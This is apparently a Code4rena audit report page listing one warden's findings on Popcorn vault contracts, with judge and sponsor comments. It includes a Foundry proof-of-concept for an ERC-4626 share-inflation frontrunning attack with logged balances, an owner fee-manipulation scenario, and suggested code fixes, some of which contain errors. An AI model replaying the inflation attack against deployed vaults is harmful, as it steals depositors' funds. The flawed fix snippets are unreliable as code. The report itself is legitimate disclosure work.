Platform: Code4rena
Start Date: 31/01/2023
Pot Size: $90,500 USDC
Total HM: 47
Participants: 169
Period: 7 days
Judge: LSDan
Total Solo HM: 9
Id: 211
League: ETH
Rank: 9/169
Findings: 4
Award: $1,646.35
🌟 Selected for report: 1
🚀 Solo Findings: 1
🌟 Selected for report: 0xNineDec
Also found by: 0xBeirao, 0xNazgul, 0xRajkumar, Blockian, Breeje, CRYP70, Josiah, KIntern_NA, MyFDsYours, Qeew, RaymondFam, Ruhum, UdarTeam, chaduke, giovannidisiena, gjaldon, immeas, koxuan, nadin, peanuts, rbserver, rvi0x, savi0ur
14.2839 USDC - $14.28
When the BaseAdapter is empty. Someone can frontrun a user to steal his funds by an inflation attack.
Lets say Alice wants to deposit 1 token (with decimal 18, so 1e18 units) to the vault calling deposit. This is how the attack would unfold.
Here is the result of the application of the scenario:
------------------------------- Balance of Alice asset:2000000000000000000 Balance of Alice share:0 Balance of Bob asset:2000000000000000000 Balance of Bob share:0 Balance of vault adapter:0 Balance of vault asset:0 ------------------------------- ------------------------------- Balance of Alice asset:2000000000000000000 Balance of Alice share:0 Balance of Bob asset:1999999999999999999 Balance of Bob share:1 Balance of vault adapter:1 Balance of vault asset:1 ------------------------------- ------------------------------- Balance of Alice asset:2000000000000000000 Balance of Alice share:0 Balance of Bob asset:999999999999999999 Balance of Bob share:1 Balance of vault adapter:1 Balance of vault asset:1000000000000000001 ------------------------------- ------------------------------- Balance of Alice asset:1000000000000000000 Balance of Alice share:0 Balance of Bob asset:999999999999999999 Balance of Bob share:1 Balance of vault adapter:1 Balance of vault asset:2000000000000000001 ------------------------------- ------------------------------- Balance of Alice asset:1000000000000000000 Balance of Alice share:0 Balance of Bob asset:3000000000000000000 <= Bod steal Alice funds Balance of Bob share:0 Balance of vault adapter:0 Balance of vault asset:0 -------------------------------
Test condition :
I added this in Vault.t.sol :
function test__inflationAttack() public { // @audit uint256 amount = 2e18; _setFees(0, 0, 0, 0); asset.mint(alice, amount); asset.mint(bob, amount); console.log("-------------------------------"); console.log("%s:%d", "Balance of Alice asset", asset.balanceOf(alice)); console.log("%s:%d", "Balance of Alice share", vault.balanceOf(alice)); console.log("%s:%d", "Balance of Bob asset", asset.balanceOf(bob)); console.log("%s:%d", "Balance of Bob share", vault.maxRedeem(bob)); console.log("%s:%d", "Balance of adapter adapter", adapter.totalSupply()); console.log("%s:%d", "Balance of adapter asset", asset.balanceOf(address(adapter))); console.log("-------------------------------"); vm.startPrank(bob); asset.approve(address(adapter), 1); adapter.deposit(1, bob); vm.stopPrank(); console.log("-------------------------------"); console.log("%s:%d", "Balance of Alice asset", asset.balanceOf(alice)); console.log("%s:%d", "Balance of Alice share", adapter.balanceOf(alice)); console.log("%s:%d", "Balance of Bob asset", asset.balanceOf(bob)); console.log("%s:%d", "Balance of Bob share", adapter.maxRedeem(bob)); console.log("%s:%d", "Balance of adapter adapter", adapter.totalSupply()); console.log("%s:%d", "Balance of adapter asset", asset.balanceOf(address(adapter))); console.log("-------------------------------"); vm.startPrank(bob); asset.approve(address(adapter), 1e18); asset.transfer(address(adapter), 1e18); vm.stopPrank(); console.log("-------------------------------"); console.log("%s:%d", "Balance of Alice asset", asset.balanceOf(alice)); console.log("%s:%d", "Balance of Alice share", adapter.balanceOf(alice)); console.log("%s:%d", "Balance of Bob asset", asset.balanceOf(bob)); console.log("%s:%d", "Balance of Bob share", adapter.maxRedeem(bob)); console.log("%s:%d", "Balance of adapter adapter", adapter.totalSupply()); console.log("%s:%d", "Balance of adapter asset", asset.balanceOf(address(adapter))); console.log("-------------------------------"); vm.startPrank(alice); asset.approve(address(adapter), 1e18); adapter.deposit(1e18, alice); vm.stopPrank(); console.log("-------------------------------"); console.log("%s:%d", "Balance of Alice asset", asset.balanceOf(alice)); console.log("%s:%d", "Balance of Alice share", adapter.balanceOf(alice)); console.log("%s:%d", "Balance of Bob asset", asset.balanceOf(bob)); console.log("%s:%d", "Balance of Bob share", adapter.maxRedeem(bob)); console.log("%s:%d", "Balance of adapter adapter", adapter.totalSupply()); console.log("%s:%d", "Balance of adapter asset", asset.balanceOf(address(adapter))); console.log("-------------------------------"); vm.startPrank(bob); adapter.redeem(1,bob,bob); vm.stopPrank(); console.log("-------------------------------"); console.log("%s:%d", "Balance of Alice asset", asset.balanceOf(alice)); console.log("%s:%d", "Balance of Alice share", adapter.balanceOf(alice)); console.log("%s:%d", "Balance of Bob asset", asset.balanceOf(bob)); console.log("%s:%d", "Balance of Bob share", adapter.maxRedeem(bob)); console.log("%s:%d", "Balance of adapter adapter", adapter.totalSupply()); console.log("%s:%d", "Balance of adapter asset", asset.balanceOf(address(adapter))); console.log("-------------------------------"); // have to fail : for log printing assertEq(amount, 2); }
I ran out of time on this one so I was not able to bench test the real AdapterBase. So I changed the MockERC4626 the match the AdapterBase specifications.
Foundry test
You can refer to this artical : https://ethereum-magicians.org/t/address-eip-4626-inflation-attacks-with-virtual-shares-and-assets/12677
Or add this line at the beginning of the redeem() function of AdapterBase :
if ((assets = previewRedeem(shares)) == 0) revert();
#0 - c4-judge
2023-02-16T03:31:33Z
dmvt marked the issue as duplicate of #15
#1 - c4-sponsor
2023-02-18T11:54:59Z
RedVeil marked the issue as sponsor confirmed
#2 - c4-judge
2023-02-23T00:09:54Z
dmvt marked the issue as satisfactory
88.0962 USDC - $88.10
To change the adapter and the fees in a Vault, there is a quit period timer to give the investor time to withdraw his funds from the strategy if he doesn't agree with the change. However, the setQuitPeriod function does not respect the quit period features and withdraw fee has no limit. This means that the vault owner can scam users.
Scammy scenario:
What the smart vault owner did was :
3 posibilities :
and add the quit period feature to the setQuitPeriod function.
From :
function setQuitPeriod(uint256 _quitPeriod) external onlyOwner { if (_quitPeriod < 1 days || _quitPeriod > 7 days) revert InvalidQuitPeriod(); quitPeriod = _quitPeriod; emit QuitPeriodSet(quitPeriod); }
to :
function proposeQuitPeriod(uint256 _quitPeriod) external onlyOwner { if (_quitPeriod < 1 days || _quitPeriod > 7 days) revert InvalidQuitPeriod(); proposedQuitPeriod = _quitPeriod; proposedQuitPeriodTime = block.timestamp; emit NewFeesProposed(newFees, block.timestamp); } function changeQuitPeriod() external { if (block.timestamp < proposedQuitPeriodTime + quitPeriod) revert NotPassedQuitPeriod(quitPeriod); emit ChangedQuitPeriod(proposedQuitPeriod); quitPeriod = proposedQuitPeriod; }
#0 - c4-judge
2023-02-16T06:35:03Z
dmvt marked the issue as primary issue
#1 - c4-sponsor
2023-02-17T09:47:10Z
RedVeil marked the issue as sponsor confirmed
#2 - c4-judge
2023-02-23T22:06:09Z
dmvt marked issue #785 as primary and marked this issue as a duplicate of 785
#3 - c4-judge
2023-02-23T22:36:28Z
dmvt marked the issue as satisfactory
🌟 Selected for report: 0xBeirao
1508.4941 USDC - $1,508.49
https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/Vault.sol#L594-L613 https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/adapter/abstracts/AdapterBase.sol#L162
Changing the adapter (that uses a strategy) of an already credited vault can result in a loss of user funds.
Senario :
Issue senario 1 : the harvest() function is in cooldown.
Issue senario 2 : the harvest() function revert.
In both case, the harvest() fonction will not execute. The adapter will change without harvesting from the Strategy causing the loss of unclaimed rewards.
None
Change the harvest() function from :
function harvest() public takeFees { if ( address(strategy) != address(0) && ((lastHarvest + harvestCooldown) < block.timestamp) ) { // solhint-disable address(strategy).delegatecall( abi.encodeWithSignature("harvest()") ); } emit Harvested(); }
to :
function harvest() public takeFees { if ( address(strategy) == address(0) || ((lastHarvest + harvestCooldown) > block.timestamp) ) { revert(); // Fixing the "Issue senario 1" } (bool success, ) = address(strategy).delegatecall( abi.encodeWithSignature("harvest()") ); if (!success) revert(); // Fixing the "Issue senario 2" emit Harvested(); }
#0 - c4-sponsor
2023-02-17T13:32:19Z
RedVeil marked the issue as disagree with severity
#1 - c4-sponsor
2023-02-17T13:32:35Z
RedVeil marked the issue as sponsor confirmed
#2 - c4-judge
2023-02-23T21:36:59Z
dmvt changed the severity to 2 (Med Risk)
#3 - c4-judge
2023-02-23T21:37:05Z
dmvt marked the issue as selected for report
🌟 Selected for report: IllIllI
Also found by: 0x3b, 0xAgro, 0xBeirao, 0xMirce, 0xNineDec, 0xRobocop, 0xSmartContract, 0xTraub, 0xWeiss, 2997ms, 41i3xn, Awesome, Aymen0909, Bauer, Bnke0x0, Breeje, Cryptor, DadeKuma, Deathstore, Deekshith99, DevABDee, DevTimSch, Dewaxindo, Diana, Ermaniwe, Guild_3, H0, IceBear, Inspectah, JDeryl, Kaiziron, Kaysoft, Kenshin, Mukund, Praise, RaymondFam, Rickard, Rolezn, Ruhum, Sathish9098, SkyWalkerMan, SleepingBugs, UdarTeam, Udsen, Walter, aashar, adeolu, apvlki, arialblack14, ast3ros, btk, chaduke, chandkommanaboyina, chrisdior4, climber2002, codetilda, cryptonue, cryptostellar5, csanuragjain, ddimitrov22, descharre, dharma09, doublesharp, eccentricexit, ethernomad, fs0c, georgits, halden, hansfriese, hashminer0725, immeas, lukris02, luxartvinsec, matrix_0wl, merlin, mookimgo, mrpathfindr, nadin, olegthegoat, pavankv, rbserver, rebase, savi0ur, sayan, scokaf, seeu, shark, simon135, tnevler, tsvetanovv, ulqiorra, ustas, waldenyan20, y1cunhui, yongskiws, yosuke
35.4779 USDC - $35.48
The StrategyBase contract can be restricted to abstract.
There is no "user manual" type of documentation for vault creators.
Popcorn's goal is to make it easy and safe for anyone to create a vault, but we actually need to dive deep into the code base to understand how to create one. This kind of documentation needs to exist.
Just check that the initial fees are correct by implementing this logic in the constructor of Vault : https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/Vault.sol#L526-L531
struct VaultMetadata { /// @notice Vault address address vault; /// @notice Staking contract for the vault address staking; /// @notice Owner and Vault creator address creator; /// @notice IPFS CID of vault metadata string metadataCID; /// @notice OPTIONAL - If the asset is an Lp Token these are its underlying assets address[8] swapTokenAddresses; /// @notice OPTIONAL - If the asset is an Lp Token its the pool address address swapAddress; /// @notice OPTIONAL - If the asset is an Lp Token this is the identifier of the exchange (1 = curve) uint256 exchange; }
According to the natspecs above (in IVaultRegistry), if swapTokenAddresses,swapAddress and exchange are OPTIONAL then vault, staking, creator and metadataCID should be mandatory ? If it's the case, the registerVault() function should ckeck if they are not null.
Just add something like that to registerVault() to check :
if (_metadata.vault == address(0) || _metadata.staking == address(0) || _metadata.creator == address(0) || _metadata.metadataCID.length == 0) revert();
There is no functions to delete a vault is registry. Must not push incomplete vault structure.
Same for addTemplate(): https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/TemplateRegistry.sol#L67-L82
Some parameters of the Template structure are mandatory :
/// @notice Template used for creating new clones struct Template { /// @Notice Cloneable implementation address address implementation; /// @Notice implementations can only be cloned if endorsed bool endorsed; /// @Notice Optional - Metadata CID which can be used by the frontend to add informations to a vault/adapter... string metadataCid; /// @Notice If true, the implementation will require an init data to be passed to the clone function bool requiresInitData; /// @Notice Optional - Address of an registry which can be used in an adapter initialization address registry; /// @Notice Optional - Only used by Strategies. EIP-165 Signatures of an adapter required by a strategy bytes4[8] requiredSigs; }
And parameters check is needed in addTemplate().
Consider checking both templateCategory and templateId existence in the registry.
from :
function toggleTemplateEndorsement(bytes32 templateCategory, bytes32 templateId) external onlyOwner { if (!templateExists[templateId]) revert KeyNotFound(templateId); bool oldEndorsement = templates[templateCategory][templateId].endorsed; templates[templateCategory][templateId].endorsed = !oldEndorsement; emit TemplateEndorsementToggled(templateCategory, templateId, oldEndorsement, !oldEndorsement); }
to :
function toggleTemplateEndorsement(bytes32 templateCategory, bytes32 templateId) external onlyOwner { if (!templateExists[templateId]) revert KeyNotFound(templateId); if (!templateCategoryExists[templateCategory]) revert KeyNotFound(templateCategory); bool oldEndorsement = templates[templateCategory][templateId].endorsed; templates[templateCategory][templateId].endorsed = !oldEndorsement; emit TemplateEndorsementToggled(templateCategory, templateId, oldEndorsement, !oldEndorsement); }
https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/CloneRegistry.sol#L21 https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/CloneFactory.sol#L22 https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/TemplateRegistry.sol#L23
According to the documentation, the direct _owner of CloneRegistry.sol, CloneFactory.sol and TemplateRegistry.sol should be DeploymentController.sol not AdminProxy
Everyone can call addTemplate().
to :
@notice Every user can adds a new template.
This endorsed/rejected system was put in place to switch frrom a whitelist to a blacklist access when Popcorn will feel confortable by open up the protocol to every one. In reality, if someone got he's Template rejected, he can easily create a new one and pursue he's malicious behaviour. So I don't think the blacklist access mode is relevant. This contract can therefore be simplified by replacing the permission structure with a simple Boolean variable: endorsed.
By making this modification changes need to be done on VaultController by changing these lines :
Moreover, to save gas, the i++ can be become unchecked { ++i; } and be placed at the end of the for loop and test if there is a length in both parameters.
However I don't see any vulnerabilities but complexity is more likely to lead to security issues.
from :
pragma solidity ^0.8.15; import { Owned } from "../utils/Owned.sol"; import { Permission } from "../interfaces/vault/IPermissionRegistry.sol"; contract PermissionRegistry is Owned { constructor(address _owner) Owned(_owner) {} mapping(address => Permission) public permissions; event PermissionSet(address target, bool newEndorsement, bool newRejection); error Mismatch(); function setPermissions(address[] calldata targets, Permission[] calldata newPermissions) external onlyOwner { uint256 len = targets.length; if (len != newPermissions.length) revert Mismatch(); for (uint256 i = 0; i < len; i++) { if (newPermissions[i].endorsed && newPermissions[i].rejected) revert Mismatch(); emit PermissionSet(targets[i], newPermissions[i].endorsed, newPermissions[i].rejected); permissions[targets[i]] = newPermissions[i]; } } function endorsed(address target) external view returns (bool) { return permissions[target].endorsed; } function rejected(address target) external view returns (bool) { return permissions[target].rejected; } }
to :
pragma solidity ^0.8.15; import { Owned } from "../utils/Owned.sol"; contract PermissionRegistry is Owned { constructor(address _owner) Owned(_owner) {} mapping(address => bool) public permissions; event PermissionSet(address target, bool newEndorsement, bool newRejection); error EmptyParams(); error Mismatch(); function setPermissions(address[] calldata targets, bool[] calldata newPermissions) external onlyOwner { uint256 len = targets.length; if (len == 0 || newPermissions.length == 0) revert EmptyParams(); if (len != newPermissions.length) revert Mismatch(); for (uint256 i = 0; i < len; ) { emit PermissionSet(targets[i], newPermissions[i].endorsed, newPermissions[i].rejected); permissions[targets[i]] = newPermissions[i]; unchecked { ++i; } } } function endorsed(address target) external view returns (bool) { return permissions[target].endorsed; } }
Should be :
IERC4626(address(0)),
Just to revert the transaction if the "assets == 0".
The lastHarvest variable used to limit harvest() calls is never reassigned. This means that the cooldown mechanism only works the first time harvest() is called. This features was added to let a strategy compound interest before harvesting. This way, earns will always be greater than gas price needed to harvest.
This must be added to the harvest() function :
lastHarvest = block.timestamp();
Maybe a medium because it's a core functionality but the security issue of it isn't high.
#0 - c4-judge
2023-02-28T15:09:39Z
dmvt marked the issue as grade-b